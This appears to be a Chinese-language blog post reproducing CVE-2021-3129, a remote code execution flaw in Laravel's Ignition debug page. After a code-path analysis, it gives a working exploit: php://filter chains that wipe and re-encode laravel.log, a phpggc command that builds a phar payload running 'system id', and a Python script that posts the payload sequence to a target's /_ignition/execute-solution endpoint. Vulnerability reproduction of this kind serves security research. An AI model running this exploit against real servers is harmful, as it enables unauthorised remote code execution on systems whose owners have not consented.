0%

CVE-2021-3129复现

漏洞成因

Laravel<8.4.3&&Facade Ignition < 2.5.2 在在Debug模式下,Ignition某些接口并未做过滤,导致file_get_contents()和file_put_contents(),函数参数被控制,黑客可通过控制日志文件引起Phar反序列化执行远程代码.

漏洞分析

假设我们在模板中使用了一个不存在的变量,那么Ignition会提出解决方案使用三目运算符将变量置为空。

WX20210422-091932@2x

我们点击Make variable optional会调用一些方法来替换模板上的变量。我们抓取这个数据包进行分析:

WX20210422-092155@2x

可以看到其调用解决方案在Ignition\\Solutions\\MakeViewVariableOptionalSolution下,并提供两个参数跟别是需要修改的变量,模板文件的位置。

我们先从src/IgnitionServiceProvider.php寻找对应post的路由进行追溯。

3

很明显直接调用了ExecuteSolutionController追溯下去是是一个单行为的控制器,直接将参数传入了run方法.

WX20210422-093035@2x

通过run方法会将参数传递到各个解决方案之中。

WX20210422-093353@2x

我们直接到追溯到src/Solutions/MakeViewVariableOptionalSolution.php

WX20210422-093643@2x

可以观察到,先将参数传入makeOptional处理完毕后若返回值不为null就能够调用到file_put_contents。我们追溯makeOptional方法,可以看到file_get_contents是完全可控的。如果网站存在上传功能可以直接上传phar文件进行反序列化,这里不做讨论。

WX20210422-094346@2x

这里对$parameters['variableName']几乎是不可控的,因为代码使用token_get_all进行了处理,然后同功能遍历返回值进行判断是否存在解析器代号列表中的对应代号,简单的说代码对我们传入的参数进行了PHP结构分析,假设我们修改了参数,代码会进行结果对比阻止我们的行为。

token_get_all() 解析提供的 source 源码字符,然后使用 Zend 引擎的语法分析器获取源码中的 PHP 语言的解析器代号

解析器代号列表见解析器代号列表, 或者使用 token_name() 翻译获取这个代号的字符串表示.

前面说了,file_get_contents所有变量是可控的,我们要想RCE有两条路:①上传文件进行反序列化②写入日志文件进行反序列化

我们接下来来分析第二条路径。laravel默认日志路径存储在storage/logs/laravel.log.假设我们加载一个存在的view错误的日志文件将会存储在这里。

WX20210422-101124@2x

虽日志文件内容可控,但是日志文件后缀无法改变。我们能否写入Phar文件进行反序列化呢?但是日志文件存在许多的“废代码”,但是phar文件必须以__HALT_COMPILER();?>结尾,可以简答理解xxx<?php xxx; __HALT_COMPILER();?>xxx的内容不限。

要想清除多余的代码,我们很容易地联想到P神的谈一谈php://filter的妙用文章巧妙地利用base64的特性吃掉了多余的代码。但是base64是4比特一组但是如果等于号在中间合法的base64字符将不会被忽略,同时观察日志内容,我们注入的代码只是很小的一部分,前后都有对应的堆栈跟踪信息,我很难确保内容不会出错。面对这样的问题,作者提出了将日志内容直接清空的想法。

Trick 1

作者提出存在一个未被官方文档记录的过滤器consumed它能够清除文件内容

php://filter/read=consumed/resource=../storage/logs/laravel.log

Trick 2

php://filter/read=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

先将内容从UTF8转换为UTF16将结果进行quoted-printable编码,之后再转换为UTF-8.之后进行base64解码得到这样就吃掉没有用的字符了。

我们将payload写入之后如何转换为正确的phar文件呢?

我们写入一个较长的Payload观察一下日志有哪些规律。可以看到payload完全出现的地方有两个。

WX20210422-161405@2x

结构可以简单记作:

[x1]payload[x2]payload[x3]

那么怎么才能去掉[x1]….[x2]…[x3]这些非payload的内容呢。我们前面所说,base64没法完全吃掉所有的字符,我们只能将这些字符转换为base64所规定的非法字符。

UTF-16将UTF-16以外的字符转换为base64非法字符

例如:

echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0[x2]p\0a\0y\0l\0o\0a\0d\0[x3]' >test.txt

WX20210425-110616@2x

由于utf-16 使用两个字节所以在后面加多一个字节导致后面解析失败,这样咱们就可以只保留下来一个payload

echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0X[x2]p\0a\0y\0l\0o\0a\0d\0X[x3]' >test.txt

WX20210425-112338@2x

接下来我们需要对空字节进行处理,因为file_get_contents在遇到空字节时候会抛出warning我们需要对空字节进行编码也就是使用convert.quoted-printable-decode

至此转换连构造

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

综上攻击思路如下:

1. 编码构造 payloadb64 -> quoted-printable ,这里构造好后,还要在末尾添加一字符,确保有且只有一处是完整的 payload 。
2. 清空 log 文件
3. 发送无害 payload 对齐
4. 发送攻击 payload
5. 解码转换 log 至 pharquoted-printable -> utf-16 转 utf-8 -> b64
6. phar 伪协议执行

手动Burpsuite没有复现出来,原因不明,编写脚本复现成功:

其中phar,最终生成的payload加上个a对齐。

php -d "phar.readonly=0" ./phpggc Laravel/RCE7 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())>payload.txt

最终

import requests
import json
headers = {
    "Content-Type":"application/json"
}

payload = {
"clean" : "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log",
"add" : "AA",
"phar" : "=50=00=44=00=39=0........00=52=00=42=00=73=00=31=00=72=00=6D=00=61=00=6B=00=59=00=51=00=68=00=6D=00=4E=00=52=00=79=00=32=00=32=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a",
"decode" : "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log",
"attack" : "phar://../storage/logs/laravel.log"
}

url = "http://xxx/_ignition/execute-solution"
for i in payload:
    data={"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters":{
    "variableName":"$name",
    "viewFile":"%s"%(payload[i])
    }
    }
    r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)

QQ20210427-231128@2x

参考

https://www.anquanke.com/post/id/231459#h3-5